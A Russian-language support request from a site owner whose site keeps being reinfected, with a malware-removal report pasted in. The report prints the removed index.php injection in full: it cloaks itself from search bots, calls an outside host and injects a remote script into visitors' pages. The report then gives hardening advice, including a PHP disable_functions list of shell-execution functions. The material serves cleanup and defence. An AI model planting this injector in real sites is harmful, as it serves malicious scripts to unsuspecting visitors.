Обращение клиента

У меня серьезная проблема на сайт загрузили троян, и троян не простой его Удаляли несколько раз, а он перезаписывался. Из-за этого сайт не может работать. Есть возможность сделать откат или удалить этот троян?
Мне прислали рекомендации, что нужно сделать но я ничего из этого не знаю
Рекомендации+отчет полученные от специалистов по удалению вирусов:
в index.php файле содержался код

```
#edd503#
if (empty($aafvs)) {
if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') ||
preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i",
$_SERVER['HTTP_USER_AGENT'])) {
} else {
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
function __url_get_contents($remote_url, $timeout)
{
if (function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $remote_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
$_url_get_contents_data = curl_exec($ch);
curl_close($ch);
} elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$ctx = @stream_context_create(array('http' =>
array(
'timeout' => $timeout,
)
));
$_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = @fopen($remote_url, "r");
$_url_get_contents_data = @stream_get_contents($handle);
} else {
$_url_get_contents_data = __file_get_url_contents($remote_url);
}
return $_url_get_contents_data;
}
}
if (!function_exists('__file_get_url_contents')) {
function __file_get_url_contents($remote_url)
{
if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
$remote_url, $matches)
) {
$protocol = strtolower($matches[1]);
$host = $matches[2];
$path = $matches[3];
} else {
// Bad remote_url-format
return FALSE;
}
if ($protocol == "http") {
$socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
} else {
// Bad protocol
return FALSE;
}
if (!$socket) {
// Error creating socket
return FALSE;
}
$request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
$len_written = @fwrite($socket, $request);
if ($len_written === FALSE || $len_written != strlen($request)) {
// Error sending request
return FALSE;
}
$response = "";
while (!@feof($socket) &&
($buf = @fread($socket, 4096)) !== FALSE) {
$response .= $buf;
}
if ($buf === FALSE) {
// Error reading response
return FALSE;
}
$end_of_header = strpos($response, "\r\n\r\n");
return substr($response, $end_of_header + 4);
}
}
if (empty($__var_to_echo) && empty($remote_domain)) {
$_ip = $_SERVER['REMOTE_ADDR'];
```

$aafvs = "http://www.beat-the-fish.de/BvbfHnNc.php";
$aafvs = __url_get_contents($aafvs."?a=$_ip", 1);
if (strpos($aafvs, 'http://') === 0) {
$__var_to_echo = '<script type="text/javascript" src="' . $aafvs . '?id=10760977"></script>';
echo $__var_to_echo;
}
}
}
}
#/edd503#

Отчет о проведенной работе по сайту

Сайт просканирован на наличие вредоносного кода и вирусов, вылечен, установлена защита от взлома.
Пожалуйста, внимательно ознакомьтесь с отчетом, так как он содержит важную информацию о безопасности сайта, доступе в панель администратора и гарантийном обслуживании сайта. Выполните пункты из раздела "**Что необходимо сделать**", чтобы сайт стал неуязвимым.

Что было выполнено

1. Сайт просканирован на вирусы и вредоносный код. С сайта удалено 97 каталогов с файлами, выполняющими вредоносные редиректы. Удалена хакерская вставка в
1. index.php, выполняющая загрузку вредоносного кода.
2. В целях повышения безопасности, запрещена запись во все директории, кроме upload, image, tmp, cache, backup. Все файлы cms и шаблоны также сделаны "только для чтения". Данная мера защищает от несанкционированных изменений файлов, а также загрузки в системные каталоги хакерских скриптов и шеллов.
3. Во всех каталогах, разрешенных на запись, размещены специальные .htaccess файлы, блокирующие открытие из них хакерских скриптов. Данная мера исключает возможность несанкционированного выполнения скрипта .php, загруженного в них.
4. С сервера удалены все не использующиеся текстовые файлы .txt, .log, которые содержат версии cms и плагинов. Информация, содержащаяся в этих файлах, помогает хакеру определить версию и, как следствие, уязвимости cms и плагинов. Поэтому хранить подобные файлы на сервере опасно.
5. В корневом .htaccess размещен код, предотвращающий типовые хакерские атаки на сайт: XSS, SQL иньекции, удаленную загрузку файлов, попытки чтения системных файлов, файлов дампов, а также настроены защита от автоматического скачивания контента и ряд других правил безопасности.
6. Доступ к административной панели cms разрешен только с определенных, авторизованных IP адресов. Данная мера закрывает ряд уязвимостей в панели управления и не позволяет авторизоваться злоумышленнику, даже зная имя пользователя и пароль.
7. Сделан "снимок" файловой системы с информацией о файлах, размере, правах доступа и времени изменения. Это позволит в будущем определить измененные, новые или удаленные файлы.
8. Очищены директории кэша cms и временный каталог.

Что необходимо сделать

Чтобы защита от взлома заработала, Вам необходимо самостоятельно выполнить несколько простых действий, поскольку у нас нет необходимых данных или доступов к конфигурационным файлам.

1. Прописать безопасные настройки для php

Чтобы сайт был защищен от взлома, нужно переключить его в режим php-cgi или fast-cgi. После этого появляется возможность задать персональные безопасные настройки php для сайта в файле php.ini. *Обратитесь в тех. поддержку хостинга или к администратору сервера, чтобы они выполнили данные действия.* В php.ini файле нужно добавить следующее:

```
cgi.fix_pathinfo=Off
allow_url_fopen=Off allow_url_include=Off expose_php=Off ;magic_quotes_gpc=On
register_globals=Off disable_functions =
popen,exec,system,passthru,proc_open,shell_exec,ini_restore,dl,symlink,chgrp,putenv,getmy
uid,fsockopen,posix_setuid,posix_setsid,posix_setpgid,posix_kill,apache_child_terminate,ch
mod,chdir,pcntl_exec,phpinfo,virtual,proc_close,proc_get_status,proc_terminate,proc_nice,g
etmygid,proc_getstatus,proc_close,escapeshellarg,show_source,pclose,safe_dir,dl,ini_restore,
chown,chgrp,shown_source,mysql_list_dbs,get_current_user,getmyid,leak,pfsockopen,get_c
urrent_user,ftp_exec,syslog,phpcredits display_errors=off
mail.add_x_header=On
```

После того, как данный настройки будут применены, .htaccess файлы, .php, .js скрипты, шаблоны становятся защищены от несанкционированных изменений, также становится невозможной загрузка и выполнение вредоносного кода в системные каталоги.

Внимание! настройки disable_functions и expose_php можно задать только в php.ini, через .htaccess файл они не меняются.

Если после указания списка отключенных функций в disable_functions сайт перестает работать, попробуйте указать минимальный набор функций disable_functions=popen,exec,system,passthru,proc_open,shell_exec,chmod,phpinfo

Если на хостинге нет технической возможности внести данные настройки в php, то защита работать не будет и сайт останется уязвимым. Поэтому нужно либо перейти на тариф, который позволит выполнить данные настройки, либо перенести сайт на более функциональный хостинг, или обратиться в службу поддержки.

Проверить, применились настройки или нет, можно следующим образом: создайте файл test.php в корневом каталоге сайта с содержимым: <?php phpinfo(); ?>

Если после открытия страницы вы видите длинную синюю страницу с настройками PHP и служебной информацией, значит настройки из php.ini не применились, об этом нужно написать тех поддержке хостинга. Если вы видите пустую страницу, значит настройки применились. **Не забудьте удалить файл test.php**.

2. Прописать свой IP адрес в файле .htaccess

Если этого не сделать, то зайти в панель администратора не удастся.

Для того, чтобы узнать свой IP адрес, зайдите на сайт http://myip.ru Если у вас динамический IP адрес (часто меняется), можно использовать другие варианты защиты административной панели: защиту с помощью дополнительной авторизации веб-сервера или защиту по секретному слову в браузере.

Если нужно добавить несколько IP адресов, можно размещать их по одному на строке:

Allow from 12.22.13.24

Allow from 45.3.4.6

Allow from 31.2.3.78 и так далее.

Если после установки вашего текущего IP отображается статус 403 Forbidden и зайти в админ-панель не получается, обратитесь в тех поддержку хостинга, чтобы они проверили настройки модуля авторизации веб-сервера. Поскольку на хостинге часто встречается некорректно настроенная связка серверов nginx + apache или отключены модули авторизации

3. Проверьте основные функции сайта, а затем сделайте резервную копию через панель управления хостингом, чтобы, в случае проблем, восстановить его из проверенной резервной копии.
4. Смените все пароли: FTP, SSH, от панели управления хостингом и административной панели CMS. Пароли должны быть сложными, вида “HUYkfdmGYG645”.
5. Убедитесь, что на хостинге включены журналы (логи) веб-сервера и сбор данных выполняется за период, не менее недели.

Рекомендации по безопасной работе с сайтом

1. Очистите кэш браузера и куки перед открытием сайта после лечения
2. Если на хостинге разрешен SSH, работайте через SFTP протокол, а не FTP (используйте программу WinSCP и SSH логин/пароль)
3. Не храните пароли в браузере и FTP клиенте, это опасно.
4. Проверяйте рабочий компьютер коммерческим антивирусом с обновляемой базой вирусов хотя бы раз в месяц.
5. Следите за обновлением версии CMS, на которой работает ваш сайт. Регулярно обновляйте CMS и плагины.
6. Добавьте сайт в панели веб-мастеров Google (http://www.google.com/intl/ru/webmasters) и Яндекс (http://webmaster.yandex.ru). В этом случае Вы своевременно будете информированы об изменениях, происходящих с сайтом. В том числе, касающихся безопасности.